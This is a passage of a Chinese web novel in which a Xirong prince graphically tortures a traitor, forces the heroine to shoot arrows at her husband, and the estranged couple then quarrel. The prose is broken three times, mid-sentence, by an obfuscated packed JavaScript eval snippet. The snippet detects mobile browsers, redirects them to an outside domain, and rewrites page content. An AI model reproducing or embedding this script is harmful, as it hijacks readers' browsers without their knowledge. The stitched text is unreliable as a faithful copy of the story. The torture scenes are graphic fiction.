那人也是西戎人,光看服饰和手背上的狼图腾就能看出来,但腿似乎已经被打断了,无力地垂着,长满了络腮胡的脸上满是鲜血,低垂着头,只有起伏的胸膛能表明他是一个活着的人。 “杨大人,多谢你这一封信,让我看清了我的好弟弟跟我身边这个好下属的真面目,我说了,要请你看一出好戏的,你怎么想着跟你的妻子就这么跑了呢?” 拓拔元离那一双鹰隼一般的眼睛里闪烁着狰狞的光,说着,再一次拍了拍手掌。这一回上来的是两个拿着兽钳的兵士,这两个兵士没有面向杨衍跟柴蘅而来,而是直直地冲着那个拓拔元离大营的叛徒而去。 柴蘅只看见原本濒死的人在瞧见这两个兵士后身子剧烈地抖动了几下,嘴里呜呜地也不知念叨着什么。 一个兵士先走上前去,用兽钳一一绞碎了那人的牙。 再紧接着,又是他十指的指骨。 剧烈的惨叫和哀嚎声在整个大营回响着,鲜血混着这人的津液从嘴里流出来,让人胆战心惊。 他也许是受够了这种刑罚,哀嚎许久后疼晕了过去,再没了声息,这时,拓拔元离才宛若恶鬼,再度开口: “把他剁成肉泥,拖下去喂狗。” 原本还残留着白雪的地上顿时留下一串长长的血印子。 一时之间,四面鸦雀无声。 “我们西戎有西戎的规矩,来人,把这个奶孩子的送回去,让他好好活着。”拓拔元离大度地扫了快要哭出来的计长卿一眼,吩咐下属带他滚。 眼见着计长卿被带走,被捆成粽子似的徐见贤也扭了扭身子, 拓跋元离示意他别急,轻笑出声:“待会儿有你的戏码呢,这时候别急着扭,到时候有你扭的。” 说着,方才将目光投向了杨衍。 “我二弟找过你,我是知道的。这个人在我大营里之前装了几天傻子,逃出去后指望从我二弟那里偷走兵符,好救出先前运粮的脚夫从我这里带走粮草,我也知道。” “杨衍,你是个聪明人,那你也该清楚,我拓跋元离骁勇善战,一生从无败绩,并不屑与你们大齐和谈。想让这场仗打不起来的,或者说想要我输得一败涂地的也只有我那二弟,我如今已经派人去教训他了。” 拓跋元离笑着,眼露寒光:“至于你,杨大人,我原本想好生圈禁着你,让你在我出兵大齐前不给我使任何绊子,可看起来你并不安分,既然如此,趁着你的夫人也在,我们玩个游戏如何?” 杨衍毫不畏惧地迎上他的目光:“大殿下想要怎样,杨某奉陪就是。但有一点,杨某一人足够殿下消遣,不如把无关紧要的人放走。” 拓跋元离摇头,松了松筋骨:“放走怎么行?这两人跟杨大人你关系可都不远,放走了又怎么好玩儿?尤其是,你身旁站着的还是你的夫人。人家千里迢迢来找你,想必是喜欢极了你。” 杨衍道:“那大殿下是不太了解,京中无人不知,我们夫妻关系并不好,不久前,我这个夫人还因为嫌杨某爬起来爬的太慢,动了鞭子。” 柴蘅:…… 虽然知道他是想让她跟徐见贤先离开这个虎狼之地,但冷不丁听他这么说,她还觉得挺变态的。 也不知道为什么,听了杨衍的话后,拓跋元离一下子就兴奋了起来:“正合本殿下的心意,既然令夫人喜欢动粗,不如就让她动粗个够。” 拓跋元离的眼里闪烁着异样的光芒,柴蘅不可思议地看着他,下一刻就被一个士兵强行扯着胳膊拽到了拓跋元离的身边,与此同时,一个西戎兵一脚踹在了徐见贤的屁股上,把徐见贤踹到了杨衍那边。 两队士兵整齐地提着火把在他们周围站成两列,有下属搬来两个刑架,将徐见贤跟杨衍径直绑在了上面。 徐见贤不知道他们要做什么,忍不住咬牙大骂:“你们这些西戎兵,杂碎,抢我粮草,还这么羞辱人!” 徐见贤平日里其实是一个脾气极好的人,可遇到西戎人就容易发疯。 拓跋元离没见过这样的,竟是又笑了:“倘若齐人都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268497|182196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此人人都如此可怜可爱,大齐何愁不亡啊。” 扬手一挥,命人堵住了他的嘴。 杨衍倒是十分冷静,熟练地任由这群西戎人绑他,眼神跟柴蘅交汇之下,也示意她不要慌乱。 越是关键的时候越不可以乱,柴蘅大约已经猜到了拓跋元离要她做什么,因为在那两人被绑的间隙,她的手上已经被塞了一把弯弓。 “你是女流,今日我不需你盲射。” “给你三箭。” “我的要求只说一遍,第一,这三箭必须箭箭见血,第二,这三箭,你只能射在一个人身上。杨夫人,你是要用这箭射你的丈夫呢,还是你的同伴呢,我不管。但最后一点,你没有射的那个人说明是你想要保下的人,我会放他回木屋去。至于你射了的那个人,我会让人把他扔到野山上去,生死自负。当然,你也可以去找他,我不阻拦。” “好了,如今这两人的生死,都在你的一念间了。” 柴蘅手心里都是冷汗,她抬头看着远处那两人,倘若这三箭让她完美避开这两个人,她是可以做到的,可是箭箭见血。 拓跋元离见她犹豫,兴味更浓,甚至让人在旁敲起了鼓。 “杨夫人,我数到三,你倘若一箭都不肯射,那就我来,若是我来,你夫君跟你的同伴都得死。” 变态。 柴蘅在心里骂他,脑子里只有一个念头,赌一赌。她吸了一口气,将弓箭拉了起来,锐利的箭锋一转,对向了杨衍。 杨衍似乎也早就知道会是这么个结果,他平静地等待着那一箭的到来,耳畔是箭矢破风的声音,第一箭对准他的手臂,在箭矢快要刺破骨肉的时候,他略微偏了偏胳膊,眉头一皱,只略微擦破一点油皮,渗出那么一点点血渍。 柴蘅松了一口气。 在很多年以前,他们都是赌狗。一个赌对方的前程,一个赌对方义父的兵权。 而这种赌性一直到今日都依旧存在。 还有第二箭。 除了掌心外,柴蘅脖子上也都是汗,此刻,再度拉满弓时,只觉得脚都有些发软,但这不是害怕的时候,她闭了闭眼,又一支箭破空而出。 这一箭同样十分巧妙,顺着杨衍的脸擦过去,同样只给下颌处留下了一道并不算的血痕。 拓跋元离也不曾想到,一个姑娘家骑射之术竟然如此厉害,是他先前掉以轻心,才让这一场游戏玩得这样索然无味。 在柴蘅准备照葫芦画瓢,射第三箭的时候,拓跋元离拦住了她。 “等等,这第三箭,让我来帮杨夫人你。” 拓拔元离走到柴蘅的身后,那一双冰凉的手摁住了她的手,箭锋先是假意往徐见贤那里偏了偏: “杨夫人,要不咱们不射杨大人了,射一射你的同伴?” 他这种出尔反尔的行为让柴蘅不齿,毕竟上一世他也是这样的,明明答应了杨衍,说盲射比赢了,就放她走,结果输急眼了,还搞出一堆幺蛾子来。 柴蘅吸一口气,忍下内心的厌恶:“我的这个同伴身体不好,射一箭怕是就死了,大殿下莫要开这样的玩笑。” 拓拔元离向听到什么极好笑的笑话一样:“你同伴身体不好,那你丈夫呢?倘若这一箭,我摁着你射中杨大人的心房,你猜他会不会死?” 柴蘅愣了一下,她倒是真没有想过杨衍会死。祸害遗千年,他向来什么都算得准准的,什么都能稳稳地捏在手里,在柴蘅的记忆里,杨衍这个人虽然对她就那样,但想要做的从来没有做不成的。这样一个人,怎么可能死在异乡? 而且,即使死了,那也不是她存心要杀他的。 她拒绝回答拓拔元离这种不靠谱的问题。 拓拔元离也不急:“那你的意思是下一箭还是对着杨大人?我可以给你一次反悔的机会,你若是想要换个人也成。” 柴蘅没打算换人,她不可能因为杨衍如今是她名义上的丈夫,就选择徐见贤去死。 而且即使这一箭扎进皮肉里,杨衍也未必会死。 “不换。” 她声音不大,但这个口型依旧落入了不远处的杨衍的眼里。他眼睫颤了颤,虽然知道,在这种情况下,柴蘅选他是理所当然的,可不知道为什么,脑子还是一抽一抽地疼。 杨衍想,等一会儿被扔到山上,如果血没有流干,还有力气,他一定要凶巴巴地质问她,是因为单纯因为觉得徐见贤更菜,跟徐见贤没有默契,所以才选择用箭对准他。还是因为她觉得徐见贤比他更重要而用箭对准他。 如果是前者,他可以不跟她计较。 如果是后者…… 那他才不会轻易原谅她。 8. 重要 窥探到杨衍神色中一闪而过的失落,拓跋元离更加开怀:“呵呵,真有意思,看来你平日里跟这个夫人关系真的不好嘛。”说完这话,他摁着柴蘅的手,很快又将拉弓的方向挪向了杨衍。 这一回,箭锋的位置恰恰好对准他的心口处,杨衍没有答话,只是面色隐隐有些发白。 柴蘅的呼吸一滞,拓跋元离强行握着她的手将弓箭突然开始使劲。 一个人被绑在刑架上,若射向别的地方还能躲一躲,射向心口,怎么也躲闪不得,千钧一发之际,柴蘅还是用了蛮力挣脱开拓跋元离的手,让那支箭往下猛地一挪。 带着羽毛的箭尖没入皮肉里,发出骇人的声音。 这一箭射中了他的左腿。 杨衍略微阖了阖眼,原本就隐隐有些发白的面色更白了几分。鲜血顺着伤口汩汩地往外流。 拓拔元离虽然没能如愿让这支箭射进杨衍的心口,但让他死不是目的,折腾这几个齐人,看着他们夫妻相残,互相猜忌才是最有意思的。达到目的,拓拔元离快活地笑出声来: “来人,把这个堵了嘴的放了,送他回到木屋去。” “至于杨大人,既然你夫人抛弃了你,你就自己一个人在野山上清醒清醒吧。” 他大手一挥,几个西戎兵赶忙过来解开刑架上的绳子,兵分两路,一路将徐见贤送走,一路则架着受了伤的杨衍离开。 没有射中心口,柴蘅无形之中松了一口气。她担忧地看了一眼杨衍的方向,想要离开,却被拓跋元离拦住了去路。 拓跋元离这个人,自幼精通骑射之术,这一辈子活这么久,还没有瞧见过能把一把弯弓使得如此之好的中原女人,一时之间,对眼前这个看似柔弱的姑娘来了兴致。 “杨夫人先别急着走,我不会为难你。再留下于我切磋两局如何?” 他这一句话看似是个问句,但人为刀俎我为鱼肉,柴蘅哪有拒绝的资格,心里一千个一万个不愿意,却也只得干巴巴地笑道:“好。” …… 从拓跋元离的大营被放回来后,徐见贤整个人腿也都是软的,他嘴硬但是身体实诚,回来后猛灌了自己好几口水,这才让自己的心情稍稍平复一些。 西戎人太恐怖。 计长卿也不知道这日子什么时候是个头,只能问徐见贤:“朝廷那边不和谈了,真的要发兵?” “靖王爷已经接了令牌了,此刻军队已经横在边境,左右打不打,就是大旗一挥的事。” 徐见贤来西戎毕竟迟一些,天子一会儿一个主意,可这一次却不像是开玩笑。和谈有和谈的好处,不动兵戈,国库里的余粮还能够几年天灾挥霍的。可打赢了也有打赢了的好处,将对方摁在地上狠狠地摩擦一回,锤的对方彻底怕了,能消停个二三十年。 计长卿原本是主和的,这一回被拓跋元离磨得彻底没了魂,只觉得倘若真和谈,让拓跋一族这些个变态就这样在边境嚣张也不是什么好事,他彻底支棱了起来了。 “打!” “希望靖王能威猛不减当年!” 说完这话后,他突然想起自己的另外两个同伴还在那个变态手上。 “柴四跟杨大人呢?” 徐见贤:“阿蘅被留下跟那个拓跋元离切磋骑射之术了,杨大人被扔到了一处野山上,待会儿阿蘅应该会去找他。” “啊?” 计长卿焦灼地问:“那杨大人伤得重么?” 徐见贤想了想:“流了很多血,但应该死不了。” 有这一句死不了,计长卿稍稍安心了些,抬眼间,就瞥见不远处步履蹒跚走来了两人。 一个是个长得很好看的姑娘,穿着粉色的衣裙,头上插了一根珍珠簪子,虽然衣裙上面沾了土,提着的木盒子也破破烂烂的,但看着就是个大户人家出身的千金。 另一个是个年轻的武夫,长得嘛,斯斯文文,但眼神里戾气很重,看着很凶。 计长卿一眼就判断出:嗯,这两人是齐人。 他还没有来得及说出自己的判断,就瞧见徐见贤已然迎了上去:“楚小将,薛姑娘!” …… 山路艰险,柴蘅拿了一根树枝在手里,拨开地上的碎石和挡路的野草,提了一盏灯,一路在寻找那位“伤患”。 拓跋元离这一回没有太为难她,比试了几局后还真的放她走了,不仅放了她走,还一高兴让人送了不少羊奶跟物资去了他们的小木屋。 柴蘅最开始寻找杨衍的时候是光靠嗓子,可天冷,吸进口中的又都是冷气,喊了两嗓子后,她决定保护自己不变哑巴,于是还是靠着一双眼睛找。好在沿路有新鲜的血迹,柴蘅顺着血迹一路往前,在一个黑漆漆的不见五指的山洞门口,总算发现了倚靠在巨石边的杨衍。 在她来之前,他看那根凸起的箭碍眼,索性直接上手拔了。西戎的箭矢锋利,硬生生扎进骨头里,杨衍的这一番操作让他自己失血有些多,也没什么力气再包扎,就干脆阖着眼休息,等柴蘅来的时候,他那一张冷淡英俊的脸上早已经没有了几分血色,甚至伤口还在汩汩地渗血。 “你怎么不在里面等我?” 外面风大又冷,如果是她,她一定机灵地把自己团成一个球,在相对温暖的山洞里等待救援, 平心而论,杨衍等她等得其实并不算久。 但不知道为什么,在时间流逝的这两个时辰里,他脑子里闪过很多东西。 一来,他总是想起前世她死后,他掀开她的棺木看到的她的腿的模样。像以前一样,他总是会想,她当初是怎么拖着一条断了的腿回去的?在回去的时候她恨不恨他,是不是真的以为那个兽夹是他放的,以为他真的要断她手脚? 二来,他总觉得,如果他待在山洞里,她粗粗找了一圈,没看到他,她就会扭头就走。如果她真的走了,并且放弃找他,他不知道自己该给她找什么样的理由,所以干脆靠在最显眼的地方,给她一个找到他的机会。 而此刻,他想说的话很多,千言万语只剩下了一句:“怕你眼神不好。” “胡说,连拓跋元离都夸我眼睛好。” 柴蘅蹲下来,一面提着灯放在杨衍的腿前照了照,一面仔细地查看着。她虽然从来没学过医术,但前世腿也被兽夹夹过,分辨他腿断没断的本事还是有的。 只是这灯光太过微弱,外面风大又太冷,柴蘅查看了一会儿还是决定进去再看。 “起来,挪进山洞里。”她拍了拍他,示意他自己走进去。 “扶我一把。”他如今还是个伤患,如果是以前的柴蘅,早早地就来扶他了。但如今,他不说,她不动,这让他很不痛快,但还是开口提醒她。 柴蘅如今对这人的原则是,如果她想并且觉得有必要,她可以主动扶他。但他不能厚颜无耻地开口。 所以她干脆地拒绝他:“自己起来。” 先前徐见贤倒在地上,她都能把他扶起来,换成他,就不行了?杨衍掀起眼皮扫她一眼,眼底的嘲讽明显,但没有半点要动的意思。 毕竟,他想起来,到现在,她也还没有跟他解释,她为什么要选择把箭矢对准他,而不是徐见贤。 他静静地看着她,既等着解释也等着她扶。 柴蘅跟他四目相对,不明白他又是哪根筋搭错了。她想,她能翻山越岭的到这座小野山上来找他已经很够意思了,没道理还要在这里猜他在想什么。 “你动不动?” “我数到三。” 柴蘅重新把放在地上的灯提起来,她打算数到三,这个人再不动,她扭头就走。 然而,直到她真的数到了三,他也依旧岿然不动。 柴蘅:…… 她再好的性子也快磨没了,甚至开始佩服自己,上辈子那么多年是怎么跟这么个狗东西在一起待那么久的。 她扭头就走,不想再管他了。刚走了两步,这才听到他先摩挲着手上的扳指问: “我是什么洪水猛兽么?如今厌恶我厌恶成这样?你要一辈子都跟我这样是么?” 他话语之间是压抑着的怒意。 柴蘅并不觉得他们之间哪还有一辈子。 她是这么想的,也就这么说了。 “我们哪来一辈子?梦里么?” 杨衍没接这话,只是又继续,这一回他的嗓音平静之中又带着几分疲惫: “你把箭对准我是因为觉得徐见贤重要,还是单纯因为你们之间没有默契,你觉得他那么菜,必死无疑?” 空荡荡的树林里除了鸟兽的鸣叫声以外,就只剩下这句话。 这句话其实别有深意,在听到这句话的时候,柴蘅其实下意识地是要想要回答后者,因为后者是她当时最本能的反应。 可不知道为什么,听到他这么说的时候,有那么一瞬间,柴蘅想到了很多年以前的自己,在每一次他出手维护薛如月的时候,她其实也都想这么问他一句。 她想问他,他回回帮着薛如月是真的觉得薛如月是对的,还是单纯因为他喜欢薛如月?但她从来没有真的这么问过,因为她知道一旦问了,会让她原本就低到尘埃里的自尊变得更低。 而此刻,他竟然就这样问出了这么一个类似的问题,她本来没有想要报复他的,但他非要顺着杆子往上爬,出于心头仅有的那么一点恶劣的心理,她没有回头,只是学着他上一世的态度尖酸道:“跟徐先生比,你还不配。” “你说什么?”杨衍险些以为他听错了。 柴蘅又重复了一遍:“跟徐先生相比,你配么?” 她很少说这么刻薄的话,这辈子跟上辈子加起来也就说过这么一次。说完之后,虽然觉得自己变得很坏了,但一下子解气了。 杨衍怎么也没有想到她会这么说。 也没有想到她竟然敢这么说。 他手上的扳指几乎要被他捏碎。 有那么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268498|182196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一瞬间,他心头仅有的一些理智也没有了,他很想冷笑着质问她,不过是一个卖货的商人,跟她的关系当真就有那么亲近么?徐见贤有跟她同生共死过么?有替她挡过暗箭么和敌人的刀子么?有替她挨过廷杖么? 也不知道是谁,上一世,在他替她挡了那么多次暗箭跟刀子后,巴巴地红着眼睛去给他到寺庙里求了一串铜钱手绳,守在他的床前面一面吧嗒吧嗒地落泪,一面说他永远是她心中最重要的人,都是鬼扯的么? 但很快,这情绪又被他强行压了下去,他冷笑着回敬她。 “是,我不配。” “所以,跟薛如月相比,你也不配。”他眼眸幽深,一张嘴跟淬了毒似的。 柴蘅听了这话不为所动。 只是想,枉费计长卿还说他脾气变好了,装不了两天,上辈子的真面目就露出来了。 但没关系,这样的话她听太多了。 “不配就不配吧,这辈子祝你跟薛如月有情人终成眷属。” 说完这话,她再也没有回头。 …… 柴蘅是自己回来的,她回来的时候,楚堰怀正在跟徐见贤一起忙活着搭新的屋子,薛如月坐在一旁给他俩递木头。 “杨大人呢?” 徐见贤见她形单影只,诧异地放下手里的木材走过去,“你们是路上出事了么,他怎么没跟你一起回来,你可有哪里受伤?” “没有,他还在山上。”柴蘅自从来到这里以后,每日都很累,此刻并不太想说话,说完这句话后,只想进屋子里歇着,所以她一个眼神都没有给薛如月跟楚堰怀,就直接钻进了屋里。 计长卿刚把小十三哄睡,见柴蘅一回来就不太在乎形象地躺在了床上,也十分震惊。一方面,他很担忧杨衍,那毕竟是他的同僚,另一方面,他看柴蘅这副还能阖上眼休息的样子,也不像是死了丈夫的。所以他私心里判定,杨衍此刻应该还活着,但两人发生了不愉快。 想到这里,他小心翼翼凑到柴蘅面前:“你把杨大人丢下了?” 柴蘅没有否认。 他又继续试探:“你们吵架了?” “谈不上,我嘲讽了他,”柴蘅说,其实他也嘲讽回来了,但按照她对杨衍的了解,他应该更气一点。 “那他被你丢哪儿了?” “西山上。”柴蘅想了想,还是把手里提着灯又递给计长卿,叹口气道,“从西山拓跋大营的那个口上去,一路往南走,路上有血迹,你沿着路走,他就半死不活地靠在一个山洞前的大石头上,你要是想去找他可以去。” 顿了顿后,她又继续:“如果你不去,他其实也可以自己回来的。在认路这一方面,杨衍比你我都强,他能自己找回来的。” 计长卿接过柴蘅递给他的灯:“徐先生说你那一箭射中了杨衍的腿,腿受伤了怎么回来?”他能想象到柴蘅为什么不把杨衍带回来,毕竟,他那个脾气不是一般人能受得了的,性子再好的人也总有不高兴的时候,可一个伤在腿上的人自己回来,这就是不太可能的事。 柴蘅回想起自己的上辈子,腿断了依旧能从大坑里爬出来,过程是艰辛了一点,拖着一条废了的腿回侯府的时候也是艰难了一点,最后不也照样熬到了目的地么? “可以的。”她笃定地开口。 “你怎么知道?” “因为我的腿曾经也断过。” 计长卿一时失语:“怎么断的?” 柴蘅看了一眼外面的那位,然后笑了:“我不自量力,想要动他一心维护的人,他给我的教训。” 空气瞬间凝滞了。 如果从前有过这样的事情,那他也确实该被丢下。 计长卿默默拿起灯,抬脚就走。刚走两步,薛如月就迎了上来。 “计大人,你是准备去找行之么?我同你一起去。” 刚刚柴蘅回来的时候,她其实也想跟着问一句杨衍在哪里。但碍于她跟柴蘅关系一直不好,所以也就没自讨这个没趣。 眼下看计长卿一个人出来了,她忙跟过去。她是医女,随身携带着药箱,倘若伤的重,能帮上一些。 计长卿犹豫了片刻:“虽然柴四告诉了我路线,但我也不能保证一路不出事,薛姑娘,不是我不带着你,只是你我都不是个能认路的,我怕把你弄丢了,担不起这个责。” “这样吧,薛姑娘,你先留在这里,我一个人上山去一趟,如果杨大人实在伤重,等回来的时候我再请你医治。” “可是……” 薛如月刚想再说些什么,就瞧见不远处已经有一个熟悉的身影一瘸一拐地回来了。 他英俊的脸上血色全无,看上去十分狼狈,紧抿着唇,第一句话是:“柴蘅呢?” 计长卿:“比你早回来一点,有些困,在睡觉。” 杨衍目光紧紧地盯着那一扇被关上的门。 她就这么丢下他,她真的能心安理得地睡着? 9. 发疯(修) 杨衍此刻的精神状态让计长卿有些担忧,但同时也不禁感慨:“你受了这么重的伤,是怎么还能走这么快的?” 他不走得快还能怎么办,杨衍自嘲地想,她会回头看他一眼么? 刚刚她但凡回头看一眼,都能发现他已经跟上来了,都应该等等他。可她真的没有回头,一次都没有。 徐见贤见他回来了,也上前去关怀他:“杨大人,你先让薛姑娘给你包扎一下腿吧。至少先把血止住。”看他这脸色,徐见贤真怕他立即晕过去。 杨衍看见他就烦,语气自然不会好:“滚。” “你这个人怎么这么说话?”徐见贤脸上青一阵白一阵的,不可思议地张大嘴巴。 计长卿赶忙去打圆场:“他一直都这样,你不要跟他计较。” 杨衍懒得再给徐见贤一个眼神,他现在只觉得自己刚刚跟柴蘅吵架时并没有发挥好,此刻,他要立刻见到她,看看对于把他就这么丢下这件事,她是不是真的半分愧疚都没有。 柴蘅闭着眼睛,门外是窸窸窣窣吵闹的声音。她猜到杨衍是可以自己回来的,但没想到,他回的还挺快。 这一切都怪她,怪她从前太喜欢他,导致没看清他的真正实力。以后再遇到这种事情,得把他多丢个几次。 她这样想着,下一刻,木屋的门就已经被推开了。这浓重的血腥气让柴蘅皱了皱眉头,她一睁开眼就瞧见了这个面色十分难看的人,流了这么多血,还没有晕倒,也是一件怪事。 她的第一反应是,薛如月竟然没有给你包扎? 后来一想也对,他此刻正在气头上,薛如月聪明得很,又不像她,往往这个时候,她是绝对不会去招惹他的。 但今日她嘲讽了他之后,他也说了让她不太高兴的话,所以此刻指望她说什么好话是不可能的。 柴蘅扫他一眼:“你看,你自己还是可以回来的。” “一回来就对关心你的人发怒,这就是你的本事。” 关心他的人?徐见贤么? 杨衍冷眼道:“我需要这样虚假的关心?” “在你眼里,所有人的关怀都是假的,跟你这样的人相处太累,所以杨衍,你这个人就不配得到别人的关心,连虚假的都不配。”他上赶着找骂,柴蘅也不惯着他。 这一句话让杨衍心头的那一团火烧得更旺了,尤其今日她已经说了两次他不配,于是他冷笑道:“我不配,那谁配?外面那个姓徐的,还是陆识初?” 柴蘅听他提起她的师兄,只觉得荒唐:“我们吵架,跟我师兄有什么关系,再说了,杨衍,你平心而论,你跟我师兄一样么?” “我师兄自入朝为官开始,一直都坚守着自己的初心,他就是皎洁的悬在九天之上的月亮,你有什么好提他的,如果不是先帝驾崩被你捡了个漏,让你有机会撺掇着赵恒谋反,让你有机会挟持着人家太后幼帝孤儿寡母,你是不会有机会压我师兄一头的。” 柴蘅前世喜欢杨衍是真的,作为夫妻帮他也是真的,但认为他比不上陆识初也是真的。 只是,这样的话,上辈子她是不会在杨衍面前讲的,讲了他必然要不高兴且对她师兄的打压更甚,所以都藏在心里。 但现在,她发现,他高兴了她就没办法高兴,既然如此,那不如就让他不高兴。 果不其然,她这话说完,杨衍只觉得脑子里像是被石子碾过一般的疼。他伤成这样,血流成这样,她第一反应不是问问他现在如何了,竟然是在不停地说这些他不爱听的话。 尤其是那个陆识初。 道貌岸然的小贱人。 “你竟然会觉得陆识初是悬在九天之上的月亮?”杨衍自嘲地笑了笑,他本想现在就在她的面前揭露这个所谓芙蓉山大师兄的真面目,但转念一想,他前世查到的真相到这一世都没有了证据,并且若是此刻告诉她,如果没有陆识初始作俑者,芙蓉山那群人也不会死,对她的伤害太大。 所以想了想,他决定还是单纯用言语威胁她:“你既然那么在乎他,那柴蘅,你最好在心里祈祷,祈祷我这辈子走的没有上辈子那么顺利,不然你看看你的师兄会是什么样的下场?” 瞧瞧,这说的是人话么? “滚。” 柴蘅下意识地要找身边趁手的东西砸他,但这木屋里任何东西都十分稀缺,砸坏了哪一样,都不值当。所以坐起来左右翻找了半天,只得作罢。 多年夫妻,杨衍怎么会不知道她要做什么。 “找东西砸多不解气?” “你的鞭子不是在这里么?用鞭子不是更能替陆识初出气?” 杨衍眉眼讥诮地看着她,赤裸裸的挑衅。顺带着把她搁在一边小几上的鞭子扔给了她。 柴蘅:“……” 这个人总是语不惊人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268499|182196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死不休。 她原本被激起的怒气顿时消了一半,她想,他脑子有问题,她总不能跟他一样。他变态,她不能也跟着一起变态。 “你腿受伤了,流了很多血,薛如月在外面,你最好找她用点草药处理包扎一下。”她顿时冷静下来。 刚刚说那些话刺激他的时候不知道他腿受伤,如今倒是知道了。 杨衍没有顺着杆子往下爬的样子,继续挑衅她:“怎么?你不敢?” 她有什么不敢的,又不是她挨鞭子,她只是怕他现在这个样子挨了两鞭子就晕过去。 “你如果真的要这样才肯离开我的视线的话,也不是不可以。”柴蘅晃了晃手里的鞭子,应他的要求甩了一下,鞭梢划过他的肩膀和脸侧,留下两道血痕。这血痕并不深,但仍旧有些刺眼。她早些时候在地牢门口用鞭子甩他的时候虽然没有留力,但那一下鞭子是折起来的,杀伤力并不强。眼下见了血,她并不喜欢。 尤其师父师娘曾无数次地跟她说过,手里的武器是对准敌人的。所以甩了一下后,她又即刻把它扔到了一边,等抬眼再看杨衍的时候,竟然诧异地瞧见他隐忍着情绪,眉眼的讥诮仍在,只是眼眶略微有些泛红。 “怎么不继续?” 柴蘅:“……”怕你哭唧唧。 “心虚了?” “还是觉得只用鞭子也不够解气?” 他走上前来,突然攥住了柴蘅的手腕,想要逼迫她开口。柴蘅不知道该说些什么。 她其实并不想跟杨衍成为仇人,在她的设想里,对这一辈子的愿景是回到上京跟他和离,然后去京卫司找崔如是,告诉他,她愿意去幽州的缉凶司做他的部下。缉凶司离芙蓉山又近,师父师娘守着芙蓉山的叔叔婶婶,她就在离他们最近的地方守着师父师娘。等有一日,若是又要打仗,师父师娘需要她,她就跟过去。万一不幸短命,跟着他们一起死在战场上,那也是很好的一生。 她原本以为,这也该是他希望的一生。 没有她,只有薛如月的一生。 “你先松开我。”柴蘅说。 她的手腕上已经有了一圈的红痕,在她说完这句话后,杨衍似是也注意到了那一圈痕迹,怔了怔后,还是依言松开。 柴蘅揉了揉手腕:“你流血太多了,我去给你叫薛如月。” 她语气柔软下来,但明摆着是在把他往外推。 10. 回京 她这样说话,杨衍一下子也有些无力。 他原本一直觉得,他们只是在闹别扭。毕竟,从前的时候这样的矛盾也不是没有过。但吵着吵着总会好的,可像现在这样,迫不及待地把他推出去,把他送到别人那里是从未有过的。 他很想问她,她这样把他送给别人,就不担心他真的跟别人在一起了么? 如果他真的跟薛如月在一起了,那她后面的几十年就真的会高兴么? 想到这里,他有无数话想说,但终究又滚了滚嗓,什么都没有说。 薛如月那边还在搭屋子,见柴蘅过来了,大概猜到了来意:“行之伤势如何?需要我帮忙么?” 她一面问着,一面起身的时候已经把药箱提了起来。 柴蘅不喜欢薛如月,薛如月也没有多喜欢柴蘅。 她母亲死得早,西直门那一片跟她父亲相熟的人家都对她照顾有加。柴夫人苏白玉早年跟她母亲是手帕交,在遗失了柴蘅这个女儿后,对薛如月格外关照,可以说早些年,薛如月算是半个养在苏白玉膝下的。她也真的把苏白玉当做自己的母亲,只是柴蘅回来后,一切就变了。 柴家的其他几个兄长姐姐开始将一部分的目光挪到了柴蘅的身上,分给她的宠爱也就不如以前。苏白玉虽然依旧待她很好,但柴蘅这个亲生女儿回来了,父亲也就不让她再像以前一样在柴家一住就是半个月。 在薛如月的眼里,柴蘅就是个山匪。 她抢走原本像她母亲一样的姨母,抢走她喜欢了很多年并且也曾经真的跟她情投意合过的兄长,在这种情况下,还想要她喜欢她,那必然是不可能的。所以她对柴蘅最大的友善就是维持基本的体面,不挖苦她,不讽刺她,不让姨母跟杨衍为难。 她是这么想的,柴蘅也是,维持基本的体面就很好。 “他还在流血,你去给他包扎一下吧。”柴蘅说着,蹲下来,跟徐见贤一起捡木头。 眼见着薛如月就这么进去了,徐见贤不太明白:“京城曾经传得沸沸扬扬,说杨大人在娶你之前曾有过一个白月光,就是薛姑娘吧,你让她去,你不介意?” 柴蘅:“以前介意,现在不介意。” “为什么?” 柴蘅继续递木头给他:“以前介意的时候,只有我一个人介意,也没人会管我在乎不在乎,我发现没有用,所以现在干脆就不介意了。” 徐见贤做生意做了小半辈子,至今都还没有过喜欢的人,自然不知道柴蘅在说些什么,于是戳戳一旁正撸着袖子,露出两块结实的肌肉,卖力干活的楚堰怀:“你能听得懂姑娘家的话么?” 楚堰怀正是因为情场失意,才从军报国的,但凡他自认自己但凡长了一颗七窍玲珑心也不至于落到如此地步,也十分干脆道:“听不懂。” 他是个直白的人。 一根筋,力气大,且能干。 